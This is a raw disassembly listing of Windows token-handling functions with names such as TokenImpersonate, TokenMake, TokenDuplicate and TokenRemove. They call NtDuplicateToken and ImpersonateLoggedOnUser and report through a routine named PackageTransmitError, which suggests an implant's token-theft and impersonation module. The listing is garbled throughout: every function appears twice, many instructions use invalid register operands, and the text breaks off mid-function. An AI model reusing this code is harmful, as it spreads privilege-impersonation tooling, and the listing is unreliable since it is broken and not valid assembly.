1400210f2add rsp, 32
1400210f6pop rbx
1400210f7pop rsi
1400210f8pop rdi
1400210f9ret
1400210a0
1400210a0TokenClear:
1400210a0push rdi
1400210a1xor ecx, ecx
1400210a3push rsi
1400210a4xor esi, esi
1400210a6push rbx
1400210a7sub rsp, 32
1400210abmov rbx, [rip+45758]
1400210b2mov rdi, [rbx+2274]
1400210b9call TokenImpersonate
1400210be
1400210beloc_1400210be:
1400210betest rdi, rdi
1400210c1je 0x1400210cb
1400210c3mov rdi, [rdi+48]
1400210c7inc esi
1400210c9jmp 0x1400210be
1400210cb
1400210cbloc_1400210cb:
1400210cbcmp edi, esi
1400210cdje 0x1400210da
1400210cfxor ecx, ecx
1400210d1inc edi
1400210d3call TokenRemove
1400210d8jmp 0x1400210cb
1400210da
1400210daloc_1400210da:
1400210daxor edx, edx
1400210dcxor eax, eax
1400210demov [rbx+2290], eax
1400210e4mov [rbx+2274], rdx
1400210ebmov [rbx+2282], rdx
1400210f2add rsp, 32
1400210f6pop rbx
1400210f7pop rsi
1400210f8pop rdi
1400210f9ret
1400210a0
1400210fa
1400210fa // align 0x10
1400210fa // align 0x10
140021100
140021100TokenCurrentHandle:
140021100push rdi
140021101xor eax, eax
140021103mov r8l, 1
140021109mov edx, 8
14002110epush rsi
14002110fmov rcx, -2
140021116push rbx
140021117sub rsp, 64
14002111blea rsi, [rsp+56]
140021120mov [rsp+56], rax
140021125mov r9, rsi
140021128call SysNtOpenThreadToken
14002112dtest eax, eax
14002112fjns 0x1400211c6
140021135mov ebx, eax
140021137cmp eax, 0xffffffffc000007c
14002113cje 0x14002116a
14002113emov rsi, [rip+45611]
140021145mov ecx, eax
140021147call [rsi+348]
14002114dmov r9l, ebx
140021150mov r8l, 634
140021156lea rdx, [rip+49411]
14002115dmov [rsp+32], eax
140021161lea rcx, [rip+35517]
140021168jmp 0x1400211ab
14002116a
14002116aloc_14002116a:
14002116amov r8, rsi
14002116dmov edx, 8
140021172or rcx, -1
140021176call SysNtOpenProcessToken
14002117bmov ebx, eax
14002117dtest eax, eax
14002117fjns 0x1400211c6
140021181mov rsi, [rip+45544]
140021188mov ecx, eax
14002118acall [rsi+348]
140021190mov r9l, ebx
140021193mov r8l, 641
140021199lea rdx, [rip+49344]
1400211a0mov [rsp+32], eax
1400211a4lea rcx, [rip+35233]
1400211ab
1400211abloc_1400211ab:
1400211abcall printf
1400211b0mov rdi, [rsi+2230]
1400211b7mov ecx, ebx
1400211b9call [rsi+348]
1400211bfmov [rdi+104], eax
1400211c2xor eax, eax
1400211c4jmp 0x1400211cb
1400211c6
1400211c6loc_1400211c6:
1400211c6mov rax, [rsp+56]
1400211cb
1400211cbloc_1400211cb:
1400211cbadd rsp, 64
1400211cfpop rbx
1400211d0pop rsi
1400211d1pop rdi
1400211d2ret
140021100
140021100TokenCurrentHandle:
140021100push rdi
140021101xor eax, eax
140021103mov r8l, 1
140021109mov edx, 8
14002110epush rsi
14002110fmov rcx, -2
140021116push rbx
140021117sub rsp, 64
14002111blea rsi, [rsp+56]
140021120mov [rsp+56], rax
140021125mov r9, rsi
140021128call SysNtOpenThreadToken
14002112dtest eax, eax
14002112fjns 0x1400211c6
140021135mov ebx, eax
140021137cmp eax, 0xffffffffc000007c
14002113cje 0x14002116a
14002113emov rsi, [rip+45611]
140021145mov ecx, eax
140021147call [rsi+348]
14002114dmov r9l, ebx
140021150mov r8l, 634
140021156lea rdx, [rip+49411]
14002115dmov [rsp+32], eax
140021161lea rcx, [rip+35517]
140021168jmp 0x1400211ab
14002116a
14002116aloc_14002116a:
14002116amov r8, rsi
14002116dmov edx, 8
140021172or rcx, -1
140021176call SysNtOpenProcessToken
14002117bmov ebx, eax
14002117dtest eax, eax
14002117fjns 0x1400211c6
140021181mov rsi, [rip+45544]
140021188mov ecx, eax
14002118acall [rsi+348]
140021190mov r9l, ebx
140021193mov r8l, 641
140021199lea rdx, [rip+49344]
1400211a0mov [rsp+32], eax
1400211a4lea rcx, [rip+35233]
1400211ab
1400211abloc_1400211ab:
1400211abcall printf
1400211b0mov rdi, [rsi+2230]
1400211b7mov ecx, ebx
1400211b9call [rsi+348]
1400211bfmov [rdi+104], eax
1400211c2xor eax, eax
1400211c4jmp 0x1400211cb
1400211c6
1400211c6loc_1400211c6:
1400211c6mov rax, [rsp+56]
1400211cb
1400211cbloc_1400211cb:
1400211cbadd rsp, 64
1400211cfpop rbx
1400211d0pop rsi
1400211d1pop rdi
1400211d2ret
140021100
1400211d3
1400211d3 // align 0x10
1400211d3 // align 0x10
1400211e0
1400211e0TokenDuplicate:
1400211e0push rdi
1400211e1mov r10, rcx
1400211e4xor eax, eax
1400211e6mov ecx, 9
1400211ebpush rsi
1400211ecpush rbx
1400211edsub rsp, 112
1400211f1lea rdi, [rsp+68]
1400211f6mov [rsp+56], r8l
1400211fblea r8, [rsp+64]
140021200rep stosd [rdi], eax
140021202xor eax, eax
140021204mov [rsp+32], r9l
140021209mov rcx, r10
14002120cmov [rsp+60], eax
140021210lea rax, [rsp+52]
140021215xor r9l, r9l
140021218mov [rsp+104], rax
14002121dmov rax, [rsp+176]
140021225mov [rsp+52], 12
14002122dmov [rsp+40], rax
140021232mov [rsp+64], 48
14002123acall SysNtDuplicateToken
14002123fmov ebx, eax
140021241mov eax, 1
140021246test ebx, ebx
140021248jns 0x14002128d
14002124amov rsi, [rip+45343]
140021251mov ecx, ebx
140021253mov rdi, [rsi+2230]
14002125acall [rsi+348]
140021260mov ecx, ebx
140021262mov [rdi+104], eax
140021265call [rsi+348]
14002126bmov r9l, ebx
14002126emov r8l, 61
140021274lea rdx, [rip+47157]
14002127bmov [rsp+32], eax
14002127flea rcx, [rip+34474]
140021286call printf
14002128bxor eax, eax
14002128d
14002128dloc_14002128d:
14002128dadd rsp, 112
140021291pop rbx
140021292pop rsi
140021293pop rdi
140021294ret
1400211e0
1400211e0TokenDuplicate:
1400211e0push rdi
1400211e1mov r10, rcx
1400211e4xor eax, eax
1400211e6mov ecx, 9
1400211ebpush rsi
1400211ecpush rbx
1400211edsub rsp, 112
1400211f1lea rdi, [rsp+68]
1400211f6mov [rsp+56], r8l
1400211fblea r8, [rsp+64]
140021200rep stosd [rdi], eax
140021202xor eax, eax
140021204mov [rsp+32], r9l
140021209mov rcx, r10
14002120cmov [rsp+60], eax
140021210lea rax, [rsp+52]
140021215xor r9l, r9l
140021218mov [rsp+104], rax
14002121dmov rax, [rsp+176]
140021225mov [rsp+52], 12
14002122dmov [rsp+40], rax
140021232mov [rsp+64], 48
14002123acall SysNtDuplicateToken
14002123fmov ebx, eax
140021241mov eax, 1
140021246test ebx, ebx
140021248jns 0x14002128d
14002124amov rsi, [rip+45343]
140021251mov ecx, ebx
140021253mov rdi, [rsi+2230]
14002125acall [rsi+348]
140021260mov ecx, ebx
140021262mov [rdi+104], eax
140021265call [rsi+348]
14002126bmov r9l, ebx
14002126emov r8l, 61
140021274lea rdx, [rip+47157]
14002127bmov [rsp+32], eax
14002127flea rcx, [rip+34474]
140021286call printf
14002128bxor eax, eax
14002128d
14002128dloc_14002128d:
14002128dadd rsp, 112
140021291pop rbx
140021292pop rsi
140021293pop rdi
140021294ret
1400211e0
140021295
140021295 // align 0x10
140021295 // align 0x10
1400212a0
1400212a0TokenElevated:
1400212a0sub rsp, 72
1400212a4xor eax, eax
1400212a6mov edx, 20
1400212abmov r9l, 4
1400212b1mov [rsp+56], eax
1400212b5lea rax, [rsp+60]
1400212balea r8, [rsp+56]
1400212bfmov [rsp+32], rax
1400212c4mov [rsp+60], 4
1400212cccall SysNtQueryInformationToken
1400212d1mov edx, eax
1400212d3xor eax, eax
1400212d5test edx, edx
1400212d7js 0x1400212dd
1400212d9mov eax, [rsp+56]
1400212dd
1400212ddloc_1400212dd:
1400212ddadd rsp, 72
1400212e1ret
1400212a0
1400212a0TokenElevated:
1400212a0sub rsp, 72
1400212a4xor eax, eax
1400212a6mov edx, 20
1400212abmov r9l, 4
1400212b1mov [rsp+56], eax
1400212b5lea rax, [rsp+60]
1400212balea r8, [rsp+56]
1400212bfmov [rsp+32], rax
1400212c4mov [rsp+60], 4
1400212cccall SysNtQueryInformationToken
1400212d1mov edx, eax
1400212d3xor eax, eax
1400212d5test edx, edx
1400212d7js 0x1400212dd
1400212d9mov eax, [rsp+56]
1400212dd
1400212ddloc_1400212dd:
1400212ddadd rsp, 72
1400212e1ret
1400212a0
1400212e2
1400212e2 // align 0x10
1400212e2 // align 0x10
1400212f0
1400212f0TokenGet:
1400212f0mov rax, [rip+45177]
1400212f7xor edx, edx
1400212f9mov rax, [rax+2274]
140021300
140021300loc_140021300:
140021300cmp edx, ecx
140021302jae 0x140021309
140021304test rax, rax
140021307jne 0x140021315
140021309
140021309loc_140021309:
140021309cmp edx, ecx
14002130bmov edx, 0
140021310cmovne rax, rdx
140021314ret
140021315
140021315loc_140021315:
140021315mov rax, [rax+48]
140021319test rax, rax
14002131cje 0x140021322
14002131einc edx
140021320jmp 0x140021300
140021322
140021322loc_140021322:
140021322ret
1400212f0
1400212f0TokenGet:
1400212f0mov rax, [rip+45177]
1400212f7xor edx, edx
1400212f9mov rax, [rax+2274]
140021300
140021300loc_140021300:
140021300cmp edx, ecx
140021302jae 0x140021309
140021304test rax, rax
140021307jne 0x140021315
140021309
140021309loc_140021309:
140021309cmp edx, ecx
14002130bmov edx, 0
140021310cmovne rax, rdx
140021314ret
140021315
140021315loc_140021315:
140021315mov rax, [rax+48]
140021319test rax, rax
14002131cje 0x140021322
14002131einc edx
140021320jmp 0x140021300
140021322
140021322loc_140021322:
140021322ret
1400212f0
140021323
140021323 // align 0x10
140021323 // align 0x10
140021330
140021330TokenImpersonate:
140021330push rbx
140021331mov eax, 1
140021336sub rsp, 32
14002133amov rbx, [rip+45103]
140021341mov edx, [rbx+2290]
140021347test ecx, ecx
140021349je 0x14002136b
14002134btest edx, edx
14002134djne 0x140021381
14002134fmov rdx, [rbx+2282]
140021356test rdx, rdx
140021359je 0x140021381
14002135bmov rcx, [rdx]
14002135ecall SysImpersonateLoggedOnUser
140021363mov [rbx+2290], eax
140021369jmp 0x140021381
14002136b
14002136bloc_14002136b:
14002136btest edx, edx
14002136dje 0x140021381
14002136fxor eax, eax
140021371mov [rbx+2290], eax
140021377add rsp, 32
14002137bpop rbx
14002137cjmp 0x140021aa0
140021381
140021381loc_140021381:
140021381add rsp, 32
140021385pop rbx
140021386ret
140021330
140021330TokenImpersonate:
140021330push rbx
140021331mov eax, 1
140021336sub rsp, 32
14002133amov rbx, [rip+45103]
140021341mov edx, [rbx+2290]
140021347test ecx, ecx
140021349je 0x14002136b
14002134btest edx, edx
14002134djne 0x140021381
14002134fmov rdx, [rbx+2282]
140021356test rdx, rdx
140021359je 0x140021381
14002135bmov rcx, [rdx]
14002135ecall SysImpersonateLoggedOnUser
140021363mov [rbx+2290], eax
140021369jmp 0x140021381
14002136b
14002136bloc_14002136b:
14002136btest edx, edx
14002136dje 0x140021381
14002136fxor eax, eax
140021371mov [rbx+2290], eax
140021377add rsp, 32
14002137bpop rbx
14002137cjmp 0x140021aa0
140021381
140021381loc_140021381:
140021381add rsp, 32
140021385pop rbx
140021386ret
140021330
140021387
140021387 // align 0x10
140021387 // align 0x10
140021390
140021390TokenMake:
140021390push r12
140021392xor r9l, r9l
140021395lea r12, [rip+48996]
14002139cpush rbp
14002139dmov rbp, rdx
1400213a0push rdi
1400213a1mov rdi, r8
1400213a4push rsi
1400213a5mov rsi, rcx
1400213a8push rbx
1400213a9sub rsp, 64
1400213admov [rsp+40], r8
1400213b2mov r8l, 602
1400213b8mov [rsp+32], rdx
1400213bdmov rdx, r12
1400213c0mov [rsp+56], r9
1400213c5mov r9, rcx
1400213c8lea rcx, [rip+34785]
1400213cfcall printf
1400213d4call TokenRevSelf
1400213d9mov rbx, [rip+44944]
1400213e0test eax, eax
1400213e2jne 0x140021418
1400213e4mov rax, [rbx+2230]
1400213ebmov rdx, r12
1400213eelea rcx, [rip+34791]
1400213f5mov r8l, 606
1400213fbmov r9l, [rax+104]
1400213ffcall printf
140021404mov rax, [rbx+2230]
14002140bmov ecx, 1
140021410mov edx, [rax+104]
140021413call PackageTransmitError
140021418
140021418loc_140021418:
140021418lea rax, [rsp+56]
14002141dmov r8, rbp
140021420mov rdx, rdi
140021423mov rcx, rsi
140021426mov [rsp+40], rax
14002142bxor eax, eax
14002142dmov r9l, 9
140021433mov [rsp+32], eax
140021437call [rbx+1564]
14002143dtest eax, eax
14002143fjne 0x140021471
140021441mov rdx, r12
140021444lea rcx, [rip+34173]
14002144blea r9, [rip+34752]
140021452mov r8l, 613
140021458call printf
14002145dmov rax, [rbx+2230]
140021464mov ecx, 1
140021469mov edx, [rax+104]
14002146ccall PackageTransmitError
140021471
140021471loc_140021471:
140021471mov rax, [rsp+56]
140021476add rsp, 64
14002147apop rbx
14002147bpop rsi
14002147cpop rdi
14002147dpop rbp
14002147epop r12
140021480ret
140021390
140021390TokenMake:
140021390push r12
140021392xor r9l, r9l
140021395lea r12, [rip+48996]
14002139cpush rbp
14002139dmov rbp, rdx
1400213a0push rdi
1400213a1mov rdi, r8
1400213a4push rsi
1400213a5mov rsi, rcx
1400213a8push rbx
1400213a9sub rsp, 64
1400213admov [rsp+40], r8
1400213b2mov r8l, 602
1400213b8mov [rsp+32], rdx
1400213bdmov rdx, r12
1400213c0mov [rsp+56], r9
1400213c5mov r9, rcx
1400213c8lea rcx, [rip+34785]
1400213cfcall printf
1400213d4call TokenRevSelf
1400213d9mov rbx, [rip+44944]
1400213e0test eax, eax
1400213e2jne 0x140021418
1400213e4mov rax, [rbx+2230]
1400213ebmov rdx, r12
1400213eelea rcx, [rip+34791]
1400213f5mov r8l, 606
1400213fbmov r9l, [rax+104]
1400213ffcall printf
140021404mov rax, [rbx+2230]
14002140bmov ecx, 1
140021410mov edx, [rax+104]
140021413call PackageTransmitError
140021418
140021418loc_140021418:
140021418lea rax, [rsp+56]
14002141dmov r8, rbp
140021420mov rdx, rdi
140021423mov rcx, rsi
140021426mov [rsp+40], rax
14002142bxor eax, eax
14002142dmov r9l, 9
140021433mov [rsp+32], eax
140021437call [rbx+1564]
14002143dtest eax, eax
14002143fjne 0x140021471
140021441mov rdx, r12
140021444lea rcx, [rip+34173]
14002144blea r9, [rip+34752]
140021452mov r8l, 613
140021458call printf
14002145dmov rax, [rbx+2230]
140021464mov ecx, 1
140021469mov edx, [rax+104]
14002146ccall PackageTransmitError
140021471
140021471loc_140021471:
140021471mov rax, [rsp+56]
140021476add rsp, 64
14002147apop rbx
14002147bpop rsi
14002147cpop rdi
14002147dpop rbp
14002147epop r12
140021480ret
140021390
140021481
140021481 // align 0x10
140021481 // align 0x10
140021490
140021490TokenQueryOwner:
140021490push r15
140021492xor r9l, r9l
140021495push r14
140021497push r13
140021499push r12
14002149bpush rbp
14002149cpush rdi
14002149dpush rsi
14002149epush rbx
14002149fsub rsp, 104
1400214a3mov [rsp+80], r9l
1400214a8mov [rsp+84], r9l
1400214admov [rsp+88], r9l
1400214b2mov [rsp+92], r9l
1400214b7test rcx, rcx
1400214baje 0x1400214c4
1400214bcmov rdi, rdx
1400214bftest rdx, rdx
1400214c2jne 0x1400214cc
1400214c4
1400214c4loc_1400214c4:
1400214c4xor r13l, r13l
1400214c7jmp 0x140021739
1400214cc
1400214ccloc_1400214cc:
1400214cclea r13, [rsp+80]
1400214d1mov ebp, r8l
1400214d4xor r9l, r9l
1400214d7xor r8l, r8l
1400214damov [rsp+32], r13
1400214dfmov edx, 1
1400214e4mov rbx, rcx
1400214e7call SysNtQueryInformationToken
1400214ectest eax, eax
1400214eejns 0x1400216b1
1400214f4mov rsi, [rip+44661]
1400214fbmov r8l, [rsp+80]
140021500mov edx, 8
140021505mov rax, [rsi+2230]
14002150cmov rax, [rax+96]
140021510mov rcx, [rax+48]
140021514call [rsi+316]
14002151amov [rsp+32], r13
14002151fmov r9l, [rsp+80]
140021524mov rcx, rbx
140021527mov r8, rax
14002152amov edx, 1
14002152fmov r12, rax
140021532call SysNtQueryInformationToken
140021537test eax, eax
140021539js 0x1400216d6
14002153fxor edx, edx
140021541lea rax, [rsp+84]
140021546lea r13, [rsp+92]
14002154bxor r8l, r8l
14002154elea r14, [rsp+88]
140021553mov [rsp+48], r13
140021558xor ecx, ecx
14002155amov r9, rax
14002155dmov [rsp+40], r14
140021562mov [rsp+32], rdx
140021567mov rdx, [r12]
14002156bmov [rsp+72], rax
140021570call [rsi+1548]
140021576test eax, eax
140021578jne 0x14002168f
14002157exor eax, eax
140021580mov [rsp+92], eax
140021584cmp ebp, 1
140021587jne 0x140021593
140021589mov eax, [rsp+84]
14002158dlea r8l, [rax+rax]
140021591jmp 0x1400215a5
140021593
140021593loc_140021593:
140021593mov r8l, [rsp+88]
140021598cmp ebp, 2
14002159bje 0x1400215a2
14002159dadd r8l, [rsp+84]
1400215a2
1400215a2loc_1400215a2:
1400215a2add r8l, r8l
1400215a5
1400215a5loc_1400215a5:
1400215a5mov rax, [rsi+2230]
1400215acmov [rdi+8], r8l
1400215b0mov edx, 8
1400215b5mov rax, [rax+96]
1400215b9mov rcx, [rax+48]
1400215bdcall [rsi+316]
1400215c3mov r8l, [rsp+88]
1400215c8mov [rdi], rax
1400215cbmov r15, rax
1400215ceadd r8, r8
1400215d1cmp ebp, 1
1400215d4jne 0x1400215f8
1400215d6mov rax, [rsi+2230]
1400215ddmov edx, 8
1400215e2mov rax, [rax+96]
1400215e6mov rcx, [rax+48]
1400215eacall [rsi+316]
1400215f0mov rbx, [rdi]
1400215f3mov r15, rax
1400215f6jmp 0x140021626
1400215f8
1400215f8loc_1400215f8:
1400215f8lea rbx, [rax+r8]
1400215fccmp ebp, 2
1400215ffjne 0x140021626
140021601mov rdx, [rsi+2230]
140021608mov eax, [rsp+84]
14002160cmov rdx, [rdx+96]
140021610lea r8, [rax+rax]
140021614mov rcx, [rdx+48]
140021618mov edx, 8
14002161dcall [rsi+316]
140021623mov rbx, rax
140021626
140021626loc_140021626:
140021626mov [rsp+48], r13
14002162bmov r9, [rsp+72]
140021630mov r8, rbx
140021633xor ecx, ecx
140021635mov [rsp+40], r14
14002163amov [rsp+32], r15
14002163fmov rdx, [r12]
140021643call [rsi+1548]
140021649mov r13l, eax
14002164ctest eax, eax
14002164ejne 0x140021676
140021650mov rax, [rsi+2230]
140021657mov r8l, 162
14002165dlea rdx, [rip+46060]
140021664lea rcx, [rip+33532]
14002166bmov r9l, [rax+104]
14002166fcall printf
140021674jmp 0x1400216e7
140021676
140021676loc_140021676:
140021676test ebp, ebp
140021678je 0x140021682
14002167a
14002167aloc_14002167a:
14002167amov r13l, 1
140021680jmp 0x1400216e7
140021682
140021682loc_140021682:
140021682mov edx, [rsp+88]
140021686mov rax, [rdi]
140021689mov [rax+2*rdx], 92
14002168djmp 0x14002167a
14002168f
14002168floc_14002168f:
14002168flea r9, [rip+33536]
140021696mov r8l, 174
14002169clea rdx, [rip+45997]
1400216a3lea rcx, [rip+33566]
1400216aacall printf
1400216afjmp 0x1400216df
1400216b1
1400216b1loc_1400216b1:
1400216b1lea r9, [rip+33572]
1400216b8mov r8l, 177
1400216belea rdx, [rip+45963]
1400216c5lea rcx, [rip+33532]
1400216cccall printf
1400216d1jmp 0x1400214c4
1400216d6
1400216d6loc_1400216d6:
1400216d6test r12, r12
1400216d9je 0x1400214c4
1400216df
1400216dfloc_1400216df:
1400216dfxor ebx, ebx
1400216e1xor r15l, r15l
1400216e4xor r13l, r13l
1400216e7
1400216e7loc_1400216e7:
1400216e7xor r14l, r14l
1400216eamov ecx, [rsp+80]
1400216eemov rdi, r12
1400216f1mov eax, r14l
1400216f4rep stosb [rdi], al
1400216f6mov rcx, r12
1400216f9call [rsi+940]
1400216ffcmp ebp, 1
140021702jne 0x14002171a
140021704test r15, r15
140021707je 0x140021739
140021709mov ecx, [rsp+88]
14002170dmov rdi, r15
140021710mov eax, r14l
140021713rep stosb [rdi], al
140021715mov rcx, r15
140021718jmp 0x140021733
14002171a
14002171aloc_14002171a:
14002171atest rbx, rbx
14002171dje 0x140021739
14002171fcmp ebp, 2
140021722jne 0x140021739
140021724mov ecx, [rsp+84]
140021728mov rdi, rbx
14002172bmov eax, r14l
14002172erep stosb [rdi], al
140021730mov rcx, rbx
140021733
140021733loc_140021733:
140021733call [rsi+940]
140021739
140021739loc_140021739:
140021739add rsp, 104
14002173dmov eax, r13l
140021740pop rbx
140021741pop rsi
140021742pop rdi
140021743pop rbp
140021744pop r12
140021746pop r13
140021748pop r14
14002174apop r15
14002174cret
140021490
140021490TokenQueryOwner:
140021490push r15
140021492xor r9l, r9l
140021495push r14
140021497push r13
140021499push r12
14002149bpush rbp
14002149cpush rdi
14002149dpush rsi
14002149epush rbx
14002149fsub rsp, 104
1400214a3mov [rsp+80], r9l
1400214a8mov [rsp+84], r9l
1400214admov [rsp+88], r9l
1400214b2mov [rsp+92], r9l
1400214b7test rcx, rcx
1400214baje 0x1400214c4
1400214bcmov rdi, rdx
1400214bftest rdx, rdx
1400214c2jne 0x1400214cc
1400214c4
1400214c4loc_1400214c4:
1400214c4xor r13l, r13l
1400214c7jmp 0x140021739
1400214cc
1400214ccloc_1400214cc:
1400214cclea r13, [rsp+80]
1400214d1mov ebp, r8l
1400214d4xor r9l, r9l
1400214d7xor r8l, r8l
1400214damov [rsp+32], r13
1400214dfmov edx, 1
1400214e4mov rbx, rcx
1400214e7call SysNtQueryInformationToken
1400214ectest eax, eax
1400214eejns 0x1400216b1
1400214f4mov rsi, [rip+44661]
1400214fbmov r8l, [rsp+80]
140021500mov edx, 8
140021505mov rax, [rsi+2230]
14002150cmov rax, [rax+96]
140021510mov rcx, [rax+48]
140021514call [rsi+316]
14002151amov [rsp+32], r13
14002151fmov r9l, [rsp+80]
140021524mov rcx, rbx
140021527mov r8, rax
14002152amov edx, 1
14002152fmov r12, rax
140021532call SysNtQueryInformationToken
140021537test eax, eax
140021539js 0x1400216d6
14002153fxor edx, edx
140021541lea rax, [rsp+84]
140021546lea r13, [rsp+92]
14002154bxor r8l, r8l
14002154elea r14, [rsp+88]
140021553mov [rsp+48], r13
140021558xor ecx, ecx
14002155amov r9, rax
14002155dmov [rsp+40], r14
140021562mov [rsp+32], rdx
140021567mov rdx, [r12]
14002156bmov [rsp+72], rax
140021570call [rsi+1548]
140021576test eax, eax
140021578jne 0x14002168f
14002157exor eax, eax
140021580mov [rsp+92], eax
140021584cmp ebp, 1
140021587jne 0x140021593
140021589mov eax, [rsp+84]
14002158dlea r8l, [rax+rax]
140021591jmp 0x1400215a5
140021593
140021593loc_140021593:
140021593mov r8l, [rsp+88]
140021598cmp ebp, 2
14002159bje 0x1400215a2
14002159dadd r8l, [rsp+84]
1400215a2
1400215a2loc_1400215a2:
1400215a2add r8l, r8l
1400215a5
1400215a5loc_1400215a5:
1400215a5mov rax, [rsi+2230]
1400215acmov [rdi+8], r8l
1400215b0mov edx, 8
1400215b5mov rax, [rax+96]
1400215b9mov rcx, [rax+48]
1400215bdcall [rsi+316]
1400215c3mov r8l, [rsp+88]
1400215c8mov [rdi], rax
1400215cbmov r15, rax
1400215ceadd r8, r8
1400215d1cmp ebp, 1
1400215d4jne 0x1400215f8
1400215d6mov rax, [rsi+2230]
1400215ddmov edx, 8
1400215e2mov rax, [rax+96]
1400215e6mov rcx, [rax+48]
1400215eacall [rsi+316]
1400215f0mov rbx, [rdi]
1400215f3mov r15, rax
1400215f6jmp 0x140021626
1400215f8
1400215f8loc_1400215f8:
1400215f8lea rbx, [rax+r8]
1400215fccmp ebp, 2
1400215ffjne 0x140021626
140021601mov rdx, [rsi+2230]
140021608mov eax, [rsp+84]
14002160cmov rdx, [rdx+96]
140021610lea r8, [rax+rax]
140021614mov rcx, [rdx+48]
140021618mov edx, 8
14002161dcall [rsi+316]
140021623mov rbx, rax
140021626
140021626loc_140021626:
140021626mov [rsp+48], r13
14002162bmov r9, [rsp+72]
140021630mov r8, rbx
140021633xor ecx, ecx
140021635mov [rsp+40], r14
14002163amov [rsp+32], r15
14002163fmov rdx, [r12]
140021643call [rsi+1548]
140021649mov r13l, eax
14002164ctest eax, eax
14002164ejne 0x140021676
140021650mov rax, [rsi+2230]
140021657mov r8l, 162
14002165dlea rdx, [rip+46060]
140021664lea rcx, [rip+33532]
14002166bmov r9l, [rax+104]
14002166fcall printf
140021674jmp 0x1400216e7
140021676
140021676loc_140021676:
140021676test ebp, ebp
140021678je 0x140021682
14002167a
14002167aloc_14002167a:
14002167amov r13l, 1
140021680jmp 0x1400216e7
140021682
140021682loc_140021682:
140021682mov edx, [rsp+88]
140021686mov rax, [rdi]
140021689mov [rax+2*rdx], 92
14002168djmp 0x14002167a
14002168f
14002168floc_14002168f:
14002168flea r9, [rip+33536]
140021696mov r8l, 174
14002169clea rdx, [rip+45997]
1400216a3lea rcx, [rip+33566]
1400216aacall printf
1400216afjmp 0x1400216df
1400216b1
1400216b1loc_1400216b1:
1400216b1lea r9, [rip+33572]
1400216b8mov r8l, 177
1400216belea rdx, [rip+45963]
1400216c5lea rcx, [rip+33532]
1400216cccall printf
1400216d1jmp 0x1400214c4
1400216d6
1400216d6loc_1400216d6:
1400216d6test r12, r12
1400216d9je 0x1400214c4
1400216df
1400216dfloc_1400216df:
1400216dfxor ebx, ebx
1400216e1xor r15l, r15l
1400216e4xor r13l, r13l
1400216e7
1400216e7loc_1400216e7:
1400216e7xor r14l, r14l
1400216eamov ecx, [rsp+80]
1400216eemov rdi, r12
1400216f1mov eax, r14l
1400216f4rep stosb [rdi], al
1400216f6mov rcx, r12
1400216f9call [rsi+940]
1400216ffcmp ebp, 1
140021702jne 0x14002171a
140021704test r15, r15
140021707je 0x140021739
140021709mov ecx, [rsp+88]
14002170dmov rdi, r15
140021710mov eax, r14l
140021713rep stosb [rdi], al
140021715mov rcx, r15
140021718jmp 0x140021733
14002171a
14002171aloc_14002171a:
14002171atest rbx, rbx
14002171dje 0x140021739
14002171fcmp ebp, 2
140021722jne 0x140021739
140021724mov ecx, [rsp+84]
140021728mov rdi, rbx
14002172bmov eax, r14l
14002172erep stosb [rdi], al
140021730mov rcx, rbx
140021733
140021733loc_140021733:
140021733call [rsi+940]
140021739
140021739loc_140021739:
140021739add rsp, 104
14002173dmov eax, r13l
140021740pop rbx
140021741pop rsi
140021742pop rdi
140021743pop rbp
140021744pop r12
140021746pop r13
140021748pop r14
14002174apop r15
14002174cret
140021490
14002174d
14002174d // align 0x10
14002174d // align 0x10
140021750
140021750TokenRemove:
140021750push rdi
140021751mov r9l, ecx
140021754lea rdx, [rip+48165]
14002175bmov r8l, 476
140021761push rsi
140021762push rbx
140021763mov ebx, ecx
140021765lea rcx, [rip+34256]
14002176csub rsp, 32
140021770call printf
140021775mov ecx, ebx
140021777call TokenGet
14002177cmov rbx, [rip+44013]
140021783mov rsi, rax
140021786mov rax, [rbx+2274]
14002178dtest rax, rax
140021790je 0x140021a89
140021796test rsi, rsi
140021799je 0x140021a89
14002179fcmp rsi, rax
1400217a2lea rdx, [rip+48087]
1400217a9jne 0x140021965
1400217aflea r9, [rip+34218]
1400217b6mov r8l, 489
1400217bclea rcx, [rip+33285]
1400217c3call printf
1400217c8mov rax, [rbx+2274]
1400217cfcmp [rbx+2290], 0
1400217d6mov rsi, [rax+48]
1400217daje 0x1400217f2
1400217dcmov rdx, [rbx+2282]
1400217e3mov rax, [rax]
1400217e6cmp [rdx], rax
1400217e9jne 0x1400217f2
1400217ebxor ecx, ecx
1400217edcall TokenImpersonate
1400217f2
1400217f2loc_1400217f2:
1400217f2mov rax, [rbx+2274]
1400217f9mov rcx, [rax]
1400217fctest rcx, rcx
1400217ffje 0x140021812
140021801call SysNtClose
140021806mov rax, [rbx+2274]
14002180dxor ecx, ecx
14002180fmov [rax], rcx
140021812
140021812loc_140021812:
140021812mov rax, [rbx+2274]
140021819mov rcx, [rax+8]
14002181dtest rcx, rcx
140021820je 0x140021858
140021822call StringLengthW
140021827mov rdx, [rbx+2274]
14002182elea rcx, [rax+rax]
140021832xor eax, eax
140021834mov rdi, [rdx+8]
140021838rep stosb [rdi], al
14002183amov rax, [rbx+2274]
140021841mov rcx, [rax+8]
140021845call [rbx+940]
14002184bmov rax, [rbx+2274]
140021852xor edx, edx
140021854mov [rax+8], rdx
140021858
140021858loc_140021858:
140021858mov rax, [rbx+2274]
14002185fmov rcx, [rax+24]
140021863test rcx, rcx
140021866je 0x14002189e
140021868call StringLengthW
14002186dmov rdx, [rbx+2274]
140021874lea rcx, [rax+rax]
140021878xor eax, eax
14002187amov rdi, [rdx+24]
14002187erep stosb [rdi], al
140021880mov rax, [rbx+2274]
140021887xor edi, edi
140021889mov rcx, [rax+24]
14002188dcall [rbx+940]
140021893mov rax, [rbx+2274]
14002189amov [rax+24], rdi
14002189e
14002189eloc_14002189e:
14002189emov rax, [rbx+2274]
1400218a5cmp [rax+40], 0
1400218aaje 0x1400218e7
1400218acmov rcx, [rax+24]
1400218b0call StringLengthW
1400218b5mov rdx, [rbx+2274]
1400218bclea rcx, [rax+rax]
1400218c0xor eax, eax
1400218c2mov rdi, [rdx+40]
1400218c6rep stosb [rdi], al
1400218c8mov rax, [rbx+2274]
1400218cfmov rcx, [rax+40]
1400218d3call [rbx+940]
1400218d9mov rax, [rbx+2274]
1400218e0xor r11l, r11l
1400218e3mov [rax+40], r11
1400218e7
1400218e7loc_1400218e7:
1400218e7mov rax, [rbx+2274]
1400218eemov rcx, [rax+32]
1400218f2test rcx, rcx
1400218f5je 0x14002192e
1400218f7call StringLengthW
1400218fcmov rdx, [rbx+2274]
140021903lea rcx, [rax+rax]
140021907xor eax, eax
140021909mov rdi, [rdx+32]
14002190drep stosb [rdi], al
